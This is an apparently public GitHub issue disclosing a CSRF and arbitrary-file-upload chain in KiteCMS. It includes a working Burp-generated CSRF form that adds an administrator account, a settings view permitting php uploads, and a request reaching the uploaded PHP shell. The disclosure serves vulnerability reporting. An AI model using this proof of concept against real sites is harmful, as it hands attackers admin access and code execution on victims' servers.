

New issue

[Jump to bottom](#)

There is CSRF and Arbitrary file upload vulnerability getshell #3

[Open](#) alilovetaozi opened this issue on Oct 11, 2019 · 0 comments

alilovetaozi commented on Oct 11, 2019

CSRF : add administrator user

Edit Upload options

Upload php file getshell

CSRF POC:

CSRF HTML:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://test.19981.com/admin/user/create.html" method="POST">
  <input type="hidden" name="username" value="admin123" />
  <input type="hidden" name="ids{#91;{#93;" value="1" />
  <input type="hidden" name="ids{#91;{#93;" value="2" />
  <input type="hidden" name="ids{#91;{#93;" value="3" />
  <input type="hidden" name="password" value="admin123" />
  <input type="hidden" name="repassword" value="admin123" />
  <input type="hidden" name="email" value="admin{#64;admin{#46;com" />
  <input type="hidden" name="phone" value="" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Edit Upload options

KITECMS

≡

预览 test admin123

NAVIGATION

面板

信息

扩展

系统

插件

钩子

用户

角色

权限

站点

配置

日志

菜单

模板

配置

基础 电子邮件 手机短信 验证码 图片水印 上传 备份 支付

上传驱动

本地上传

图片类型

jpg,png,gif,php

允许最大值

2040000

1MB = 1024Kb

视频类型

rm,rmvb,wmv,3gp,mp4,mov,avi,flv

允许最大值

2040000

1MB = 1024Kb

附件类型

doc,xls,rar,zip

允许最大值

2040000

1MB = 1024Kb

本地上传

AliOSS

QiniuOSS

存储路径

upload

保存

[illegible][illegible]

The screenshot displays a web browser interface with two main panels: 'Request' on the left and 'Response' on the right. The 'Request' panel shows an HTTP GET request to 'http://test.19981.com/53fab1fccce0a7dfb3e5b6c949c0f53b8.php'. The 'Response' panel shows an HTTP 200 OK response from 'http://test.19981.com'. The status bar at the bottom indicates '200 OK' and '123'.

Request:

```
GET
/upload/20191012/53fab1fccce0a7dfb3e5b6c949c0f53b8.php
HTTP/1.1
Host: test.19981.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=0a337783dc09e79b5d0565edcc961cfb3
Upgrade-Insecure-Requests: 1
```

Response:

```
200 OK
Content-Type: text/html
Content-Length: 123
Server: Apache/2.4.18 (Ubuntu)
Date: Mon, 12 Oct 2019 12:53:18 GMT
Connection: close
```

Projects
None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

